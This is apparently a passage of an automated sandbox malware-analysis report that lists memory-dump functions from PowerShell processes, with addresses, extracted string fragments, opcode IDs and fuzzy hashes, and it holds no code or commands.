                                                            • Instruction Fuzzy Hash: 9BE0DF3130435057DB082778A80C2AF7A6AABC4724F00002AD60A83342CF281A0283E9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04649549 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cfe6ef55a8bbabedca85884dbd447f1393d73718a5cddb62eb99097bef2dc428
                                                            • Instruction ID: ab500c12377c20b21a9be29c4006c18b979568c3d19ebb4294ff4ccd0e427ac4
                                                            • Opcode Fuzzy Hash: cfe6ef55a8bbabedca85884dbd447f1393d73718a5cddb62eb99097bef2dc428
                                                            • Instruction Fuzzy Hash: 25D0A76A791421172FDCB6F91A402BB44CF8FC41AA719003E9E09E3740FD64DC0A83F5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04649550 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 34fb27cbb35c5301f3ef449a24fa6cf19a67aac163e4e2a9d05fa64760ae3283
                                                            • Instruction ID: 1c91bdd9fc1a7d8bc6fb8b9f119907fe7d72dbc397eb336bad18c1c1dbed8bca
                                                            • Opcode Fuzzy Hash: 34fb27cbb35c5301f3ef449a24fa6cf19a67aac163e4e2a9d05fa64760ae3283
                                                            • Instruction Fuzzy Hash: B6D05E66781521271F5875BA19006BBA5CE8FC45AA715003E9A09D3341FD40EC0643F5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DCE8 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction ID: 48d3c42f75eee7e67d20f57c595f6e9b0302fdd16ea8825c89279cfcea81ea34
                                                            • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction Fuzzy Hash: A4E08631B1001497CB089959D4104EDF7AADBCC220F04807FD90AA7740EA32691687E1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04648739 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 60417b20513fc3f621c83b688da84e5b75942a07aa359b2ac2a553df218ea7b1
                                                            • Instruction ID: de86912214c82657fe626ca050c15c4e9da0e2061eb5c68d16c004384e1197a7
                                                            • Opcode Fuzzy Hash: 60417b20513fc3f621c83b688da84e5b75942a07aa359b2ac2a553df218ea7b1
                                                            • Instruction Fuzzy Hash: 70E0DF75C0424A8BEB89AB74D41A4AFBF30FB01301F0101AFC54682142DB34065ACF81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04648800 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4e6cf7798142d8e6226725069ea670d079f6ad9ee60440100237a74940fe48f7
                                                            • Instruction ID: 1e2ba92d829b236c4b7ed928822f156968d55f45b9832c64182ec3de56fb6d92
                                                            • Opcode Fuzzy Hash: 4e6cf7798142d8e6226725069ea670d079f6ad9ee60440100237a74940fe48f7
                                                            • Instruction Fuzzy Hash: EAE0DF76E1838B9FDB04DBB4D04646EBFB4AB82205B048096D84583202EF305855CB80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464F860 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction ID: 234f34ea12b69b48322e67dcd593c972cb2957fae157aca223e943836230e539
                                                            • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction Fuzzy Hash: 53D06270D0420D9F8784DFADC94156DFBF4EF48210F5085AB8919E7301F73156128BD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04648748 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 178dda89e785314025ecc8f0045137864a7313ec33e6243910994a5e235d9402
                                                            • Instruction ID: ee633a1aba81da8f87c5a1d345d3efe30c946cc072c6951f200b909f969fed18
                                                            • Opcode Fuzzy Hash: 178dda89e785314025ecc8f0045137864a7313ec33e6243910994a5e235d9402
                                                            • Instruction Fuzzy Hash: 20D0177980420D8BCB48BBA4E81B4BEBB38FA40301F400169D90752191EB342A4ACAC1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04648810 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: aad8fae3715815304f2aaad8f036f9b7795952c9c1e7ec9a5354fc3ff0943c35
                                                            • Instruction ID: 8e717e63acd956147e99d802a3c1165e9ac4a5e16cf226d76569183e116bc621
                                                            • Opcode Fuzzy Hash: aad8fae3715815304f2aaad8f036f9b7795952c9c1e7ec9a5354fc3ff0943c35
                                                            • Instruction Fuzzy Hash: 98D01275A0430A8BCB44EFA4D44646EBFB8A784300F004155D90593341EE306901DBC1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647932 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b10aebd0198ca8a6cb7fc860ec987d1544b057dd4037cf928b58e1823e01e675
                                                            • Instruction ID: d844817619aab95260132d61b1c2ef7ee1e0ff6e9317c4f106f31ccd16c4a536
                                                            • Opcode Fuzzy Hash: b10aebd0198ca8a6cb7fc860ec987d1544b057dd4037cf928b58e1823e01e675
                                                            • Instruction Fuzzy Hash: 73D01371009345EFC7472B70D4154543F64AF4331574114DAD40D4B5A399555486D757
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647EA0 Relevance: .0, Instructions: 13COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 766dd7d3900d42855b4c719ac28cf3ba48c32c217ecb54efc872508e8594003f
                                                            • Instruction ID: a96a80148fdf33a888fcf6dca57666663af227615d05b93125118036552bd9a8
                                                            • Opcode Fuzzy Hash: 766dd7d3900d42855b4c719ac28cf3ba48c32c217ecb54efc872508e8594003f
                                                            • Instruction Fuzzy Hash: 8CC08C918093807EEF8242304C260422FF0484320830651C2C8008A032C4188C12D282
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647940 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 887ad3f2bd83d928629796c2f0b802498a429fd51ae782cb0fca8a394ab7d661
                                                            • Instruction ID: 699dbec9cef29e64aaf17e4cbfacd82c0331c0d60f41f099770273584851bb42
                                                            • Opcode Fuzzy Hash: 887ad3f2bd83d928629796c2f0b802498a429fd51ae782cb0fca8a394ab7d661
                                                            • Instruction Fuzzy Hash: 13B092310443098FC24A7FB5E40A814732DBB4021978008A8E90E0A2928E7AE889CA46
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Non-executed Functions

                                                            Function 074C1BE0 Relevance: 21.7, Strings: 17, Instructions: 408COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $c\k$4'^q$4'^q$4'^q$4'^q$84gl$84gl$pi1k$tP^q$tP^q$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-98533443
                                                            • Opcode ID: 70b7d92a2e05720023fa30a5e3afbf9e3e486df07748a28922ccd08ecd951ffa
                                                            • Instruction ID: 2ce106c415a3c999e6162de0f14435e74e0c36d820979ae6dde17cbda67de653
                                                            • Opcode Fuzzy Hash: 70b7d92a2e05720023fa30a5e3afbf9e3e486df07748a28922ccd08ecd951ffa
                                                            • Instruction Fuzzy Hash: F5D158F9B0430ACFD765CB6994046E7BBB6AF82210F1884AFC515CB356DB71C846C791
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C3928 Relevance: 12.8, Strings: 10, Instructions: 325COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-648847570
                                                            • Opcode ID: 1c9c8bd4b40c1dd15b27f646e67b5f1cb7349562cad728653bf28dcf06d18ccd
                                                            • Instruction ID: 71e252a28b3d70f0f0e85a85dc1e014ed3fa8527c6206bd2a9af34f52c0366a6
                                                            • Opcode Fuzzy Hash: 1c9c8bd4b40c1dd15b27f646e67b5f1cb7349562cad728653bf28dcf06d18ccd
                                                            • Instruction Fuzzy Hash: 1CA158BA7043468FC764DE6998006B7BBE5AFC6610F18C4AFD405CB3A2DA32CC45C792
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C3678 Relevance: 8.9, Strings: 7, Instructions: 189COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-4286007357
                                                            • Opcode ID: b93ddfb2eb20e4f66cf6e76e82c8ce86e85ad49170e82ee6e2a5c012fbed6178
                                                            • Instruction ID: 7fd339c16d4f64dc2c4955581711235b808c5df757396bb190222c5e2787d11a
                                                            • Opcode Fuzzy Hash: b93ddfb2eb20e4f66cf6e76e82c8ce86e85ad49170e82ee6e2a5c012fbed6178
                                                            • Instruction Fuzzy Hash: 0B5167B97053068FCB65DE6989016E7BBE6AFC2610F24C4AFD405CB351DA31C845C7A3
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C2108 Relevance: 8.8, Strings: 7, Instructions: 87COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Tc\k$$^q$$^q$Jjl$Jjl$Jjl$Jjl
                                                            • API String ID: 0-654954826
                                                            • Opcode ID: 68a869ebb8c63186b585497a3a941fc622eb9ac6569b74a376910fac7b9e8193
                                                            • Instruction ID: d457a0d473e89c5d1e3d129bb4a5f0c2db45b22c88f073cb265f66304bec8652
                                                            • Opcode Fuzzy Hash: 68a869ebb8c63186b585497a3a941fc622eb9ac6569b74a376910fac7b9e8193
                                                            • Instruction Fuzzy Hash: 6D21F3BA60D3924FC31686685C111E37FB2AF9361071944ABD240DF7AACEF49C46C3A7
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C0284 Relevance: 7.6, Strings: 6, Instructions: 81COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q
                                                            • API String ID: 0-1041444323
                                                            • Opcode ID: 77593f28d3125036e0b6adb65d55cfc92ab633ec75754cabe02f6c1581b72427
                                                            • Instruction ID: 9d46c49532af754d0aebd6cd6a7a60c08ef74a90c6dc7f08a73304d8ac7a20f8
                                                            • Opcode Fuzzy Hash: 77593f28d3125036e0b6adb65d55cfc92ab633ec75754cabe02f6c1581b72427
                                                            • Instruction Fuzzy Hash: CB212E75B48357CFC76A95682C241F65BE65FC2550729099FC040DF37ACE218C8E83D6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647A21 Relevance: 6.5, Strings: 5, Instructions: 243COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 059a2c1cd781131d271b5c15e5c17ebea04b419796f66f41271122b0f2597759
                                                            • Instruction ID: f19a1baa82e0bbe25f12cb892fce5e1875961ffd4a959ef3af89245e844e873b
                                                            • Opcode Fuzzy Hash: 059a2c1cd781131d271b5c15e5c17ebea04b419796f66f41271122b0f2597759
                                                            • Instruction Fuzzy Hash: FEB1A874E002099FDB55DFA9D980A9DFBF2FF88300F10862AD419AB355EB70A945CF91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647A30 Relevance: 6.5, Strings: 5, Instructions: 234COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: a77284cf1c95b7c4248b4e92e3df1ffc9fb633e7e1bdde4f689e31384e5a7781
                                                            • Instruction ID: 54593bfea8b484dbb83a277723ee07480841c96e1fb62a2c674530d36b453bcf
                                                            • Opcode Fuzzy Hash: a77284cf1c95b7c4248b4e92e3df1ffc9fb633e7e1bdde4f689e31384e5a7781
                                                            • Instruction Fuzzy Hash: F9B18674E002099FDB55DFA9D980A9DFBF2FF88300F10862AD419AB355EB70A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q$$^q
                                                            • API String ID: 0-2125118731
                                                            • Opcode ID: 8f2c37fe4a7701a063a4c548ca76a96a365d7ee34b3f76b6cd025dfc2fa5d472
                                                            • Instruction ID: cd9f65e489f9707c1b8997a9d84df5f5fc7622925b74ae3c008772f34be425fe
                                                            • Opcode Fuzzy Hash: 8f2c37fe4a7701a063a4c548ca76a96a365d7ee34b3f76b6cd025dfc2fa5d472
                                                            • Instruction Fuzzy Hash: 3A2157B97142069BDBA4992A8D01BABF7DA9BC0710F34882FA505CF381DD75E8618371
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C22E8 Relevance: 5.1, Strings: 4, Instructions: 82COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$pi1k$Jjl$Jjl
                                                            • API String ID: 0-504072882
                                                            • Opcode ID: 535a30941278e308413f7e2f09a89b146d33d3554295f2359b35cfa4919feab9
                                                            • Instruction ID: e03b72f10f790079fd459602943e73d3ea15bb13b9bdc12cdbcd1749e95a7bed
                                                            • Opcode Fuzzy Hash: 535a30941278e308413f7e2f09a89b146d33d3554295f2359b35cfa4919feab9
                                                            • Instruction Fuzzy Hash: 7D21A0B9904306DFDFA1CF64C5456EA7BB0BB42211F0884AFD8588B261D7F5CA85CB92
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Executed Functions

                                                            Function 0348B490 Relevance: 4.0, Strings: 3, Instructions: 258COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: kUco^${Uco^$[co^
                                                            • API String ID: 0-666014255
                                                            • Opcode ID: 3b4544e07116220fbe287f400611d20f8e76236d847c6a939035248d75b6064b
                                                            • Instruction ID: 1eca40a2b7e0a46f93c76ae40c18672a0e9008e113ca54cbac9c271f464c4855
                                                            • Opcode Fuzzy Hash: 3b4544e07116220fbe287f400611d20f8e76236d847c6a939035248d75b6064b
                                                            • Instruction Fuzzy Hash: 3491A171B007189FCB1AEFB4C4046AEB7B2EF84604B00892DD15AAF354DF746D4A8BD6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348B4A0 Relevance: 4.0, Strings: 3, Instructions: 252COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: kUco^${Uco^$[co^
                                                            • API String ID: 0-666014255
                                                            • Opcode ID: 616c018b9b6a1432d8d0af7a92f3722d0a0d74feefc1e01723ad2af6e2bc0009
                                                            • Instruction ID: 71e495f4f987e8be3c4ca8924b141c960b5e993054ac75e22b3a5ee34f7fd9ea
                                                            • Opcode Fuzzy Hash: 616c018b9b6a1432d8d0af7a92f3722d0a0d74feefc1e01723ad2af6e2bc0009
                                                            • Instruction Fuzzy Hash: 3B919275B007189BCB1AEFB4C4146AEB7E2EF84604B00892DD15AAF354DF746D0A8BD6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA2308 Relevance: 20.7, Strings: 16, Instructions: 653COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$pi1k$pi1k$pi1k$pi1k$pi1k$|,3k$Jjl$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-1655663588
                                                            • Opcode ID: 2724e01a1e25730f42301da5ac4388ade199f845d5c83708bb3d2dca5a1d164a
                                                            • Instruction ID: 998a5a08aa94d6e9e9cd696c343a6020b5c85d8ee21c79867c94257fad30d446
                                                            • Opcode Fuzzy Hash: 2724e01a1e25730f42301da5ac4388ade199f845d5c83708bb3d2dca5a1d164a
                                                            • Instruction Fuzzy Hash: 88222AB1B00206EFDB159F6888417AABBE1FFC5311F1480BAE525CB291DB35CD55CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA3CE8 Relevance: 5.6, Strings: 4, Instructions: 588COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q
                                                            • API String ID: 0-1420252700
                                                            • Opcode ID: 7ae59234e1cea9601e905d8a7212aacf745873adc90d6b0b96301fe232174914
                                                            • Instruction ID: 33dac07e86b4b27f4e7c836b05ddcec7da401330db59a67fc03c9ad5fe19b94e
                                                            • Opcode Fuzzy Hash: 7ae59234e1cea9601e905d8a7212aacf745873adc90d6b0b96301fe232174914
                                                            • Instruction Fuzzy Hash: 39127AB1B04356EFCB259B6C88016BABBE2AFC5310F1484BAE525CF351DB72D845C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA17B8 Relevance: 2.8, Strings: 2, Instructions: 338COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: _l$_l
                                                            • API String ID: 0-638597642
                                                            • Opcode ID: 49b713f1a2ff271d9d769e25fac2ea79cf37a2a75ba07770d2e484e7f16e4c86
                                                            • Instruction ID: 1714b97beab14b6391132adc07487bc2ac92072e7ed75e214b7e1eb0a9c1155f
                                                            • Opcode Fuzzy Hash: 49b713f1a2ff271d9d769e25fac2ea79cf37a2a75ba07770d2e484e7f16e4c86
                                                            • Instruction Fuzzy Hash: E9B116B1B0021AFFCB149B69D4006AABBF6EFC9211F14C0BAE565CB251DB31DD45C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E5C1 Relevance: 2.6, Strings: 2, Instructions: 123COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: e0d6186dfdcddbfbe415221813ed01577f639fa1f118d42d4573f36555df1872
                                                            • Instruction ID: 68643f408491e995bbd314d617537a53a84e91f4a9ee21598268ac745d1440f5
                                                            • Opcode Fuzzy Hash: e0d6186dfdcddbfbe415221813ed01577f639fa1f118d42d4573f36555df1872
                                                            • Instruction Fuzzy Hash: D841CF74A002099FCB11EFB8E95469EBFF1EF49304F1481AAD015EB3A5DB30AD49CB95
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E610 Relevance: 2.6, Strings: 2, Instructions: 107COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: ff60389621bb110823f2d424c338be7f72035b5875087117de72ab3d3599ec7f
                                                            • Instruction ID: 722172fd7fa7da6f88739cdabe8d4bad035ce19fd3a097922dbd9c40b8b258c0
                                                            • Opcode Fuzzy Hash: ff60389621bb110823f2d424c338be7f72035b5875087117de72ab3d3599ec7f
                                                            • Instruction Fuzzy Hash: 68410274A00205DFCB11EF78D55469EBBF1FF49204F18C16AD405AB3A5CB30AC45CBA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E640 Relevance: 2.6, Strings: 2, Instructions: 83COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$Jjl
                                                            • API String ID: 0-199802827
                                                            • Opcode ID: f4f8ca99ca057b5e43f616e28f96f97fe9cf026be9ca892052df6a7fd0645047
                                                            • Instruction ID: 246ecadd015c8f48274ad7bf6e5185476738908a51953fe70515e9f9755ae5e8
                                                            • Opcode Fuzzy Hash: f4f8ca99ca057b5e43f616e28f96f97fe9cf026be9ca892052df6a7fd0645047
                                                            • Instruction Fuzzy Hash: DC316E74A00609DFCB14EF69E594A9EBBF2FF48304F14C529D415AB3A4DB30AD45CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03486FC8 Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (bq
                                                            • API String ID: 0-149360118
